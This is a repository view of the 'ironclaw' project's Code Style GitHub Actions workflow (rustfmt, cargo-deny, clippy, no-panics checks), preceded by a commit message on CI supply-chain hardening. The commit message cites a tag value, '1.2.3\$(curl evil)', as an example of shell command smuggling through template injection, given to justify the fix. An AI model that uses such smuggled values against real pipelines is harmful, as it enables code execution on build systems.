Files
ironclaw/.github/workflows/code_style.yml
Illia Polosukhin 3df1bf3830 chore(ci): add Dependabot and pin GitHub Actions by SHA (#2043)
* chore(ci): add Dependabot and pin GitHub Actions by SHA

Add automated dependency vulnerability scanning via Dependabot for both
Cargo crates (weekly) and GitHub Actions (weekly). Pin all 101 external
action references across 14 workflow files to full commit SHAs to prevent
supply-chain attacks via compromised tags.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* fix(ci): harden workflows — persist-credentials, permissions, template injection

Address zizmor security audit findings:
- Add persist-credentials: false to all checkout steps (artipacked)
- Add explicit minimal permissions to all workflows (excessive-permissions)
- Move workflow-level write permissions to job level where possible
- Fix template injection in regression-test-check.yml by using env vars

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* fix(ci): address PR review comments

- Group Dependabot updates by ecosystem to reduce PR noise (gemini)
- Add persist-credentials: false to docker.yml checkout (Copilot)
- Move inputs.tag and other expansions to env vars in docker.yml to
  eliminate template injection from workflow_dispatch user input

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* fix(ci): restore git push auth and harden git fetch

Address PR #2043 review comments:
- staging-ci create-promotion-pr: generate App token before checkout
  and pass it to checkout so 'git push origin "$BRANCH"' works
- staging-ci update-tag: re-enable credential persistence so the
  'staging-tested' tag force-push succeeds (job is internal-only)
- release update-registry-checksums: re-enable credential persistence
  so the checksum-update branch push succeeds
- regression-test-check: add '--' to git fetch to prevent refs that
  start with '-' from being interpreted as options

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* fix(ci): address serrrfirat PR review comments

- release.yml: move github.ref_name, needs.plan.outputs.tag, and
  needs.plan.outputs.tag-flag to env vars across plan, build-local-artifacts,
  build-global-artifacts, and host jobs. The tag pattern
  '[0-9]+.[0-9]+.[0-9]+*' has a trailing glob, so a tag like
  '1.2.3\$(curl evil)' could match and be shell-expanded.
- dependabot.yml: split Cargo groups into tokio-ecosystem, serialization,
  wasm, and everything-else to make regression bisection easier when
  CI fails on a Dependabot PR.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* fix(ci): add missing job-level permissions for gh CLI calls

- resolve-promotion-base: add pull-requests: read for 'gh pr list'
- gate: add checks: read for 'gh api .../commits/{sha}/check-runs'

Both were dropped when workflow-level permissions moved to job level.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Co-authored-by: Zaki Manian <zaki@iqlusion.io>
2026-04-08 19:38:44 +09:00

126 lines
4.1 KiB
YAML

name: Code Style
on:
pull_request:
permissions:
contents: read
jobs:
format:
name: Formatting
runs-on: ubuntu-latest
steps:
- name: Checkout repository
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
with:
persist-credentials: false
- name: Install Rust
uses: dtolnay/rust-toolchain@29eef336d9b2848a0b548edc03f92a220660cdb8 # stable
with:
components: rustfmt
- name: Check formatting
run: cargo fmt --all -- --check
deny-check:
name: cargo-deny
runs-on: ubuntu-latest
steps:
- name: Checkout repository
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
with:
persist-credentials: false
- name: Run cargo deny
uses: EmbarkStudios/cargo-deny-action@3fd3802e88374d3fe9159b834c7714ec57d6c979 # v2
clippy:
name: Clippy (${{ matrix.name }})
runs-on: ubuntu-latest
strategy:
fail-fast: false
matrix:
include:
- name: all-features
flags: "--all-features"
- name: default
flags: ""
- name: libsql-only
flags: "--no-default-features --features libsql"
steps:
- name: Checkout repository
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
with:
persist-credentials: false
- name: Install Rust
uses: dtolnay/rust-toolchain@29eef336d9b2848a0b548edc03f92a220660cdb8 # stable
with:
components: clippy
- uses: Swatinem/rust-cache@e18b497796c12c097a38f9edb9d0641fb99eee32 # v2
with:
key: clippy-${{ matrix.name }}
- name: Check lints
run: cargo clippy --all --benches --tests --examples ${{ matrix.flags }} -- -D warnings
clippy-windows:
name: Clippy Windows (${{ matrix.name }})
if: github.base_ref == 'main'
runs-on: windows-latest
strategy:
fail-fast: false
matrix:
include:
- name: all-features
flags: "--all-features"
- name: default
flags: ""
- name: libsql-only
flags: "--no-default-features --features libsql"
steps:
- name: Checkout repository
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
with:
persist-credentials: false
- name: Install Rust
uses: dtolnay/rust-toolchain@29eef336d9b2848a0b548edc03f92a220660cdb8 # stable
with:
components: clippy
- uses: Swatinem/rust-cache@e18b497796c12c097a38f9edb9d0641fb99eee32 # v2
with:
key: clippy-windows-${{ matrix.name }}
- name: Check lints
run: cargo clippy --all --benches --tests --examples ${{ matrix.flags }} -- -D warnings
no-panics:
name: No panics in production code
runs-on: ubuntu-latest
steps:
- name: Checkout repository
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
with:
fetch-depth: 0
persist-credentials: false
- uses: actions/setup-python@a26af69be951a213d495a4c3e4e4022e16d87065 # v5
with:
python-version: "3.12"
- name: Check for .unwrap(), .expect(), assert!() in production code
run: |
BASE="${{ github.event.pull_request.base.sha }}"
python3 scripts/check_no_panics.py --base "$BASE" --head HEAD
# Roll-up job for branch protection
code-style:
name: Code Style (fmt + clippy + deny)
runs-on: ubuntu-latest
if: always()
needs: [format, clippy, clippy-windows, deny-check, no-panics]
steps:
- run: |
if [[ "${{ needs.format.result }}" != "success" || "${{ needs.clippy.result }}" != "success" || "${{ needs.deny-check.result }}" != "success" || "${{ needs.no-panics.result }}" != "success" ]]; then
echo "One or more jobs failed"
exit 1
fi
# clippy-windows only runs on main PRs, so skipped is acceptable but failure is not
if [[ "${{ needs.clippy-windows.result }}" != "success" && "${{ needs.clippy-windows.result }}" != "skipped" ]]; then
echo "Windows clippy failed: ${{ needs.clippy-windows.result }}"
exit 1
fi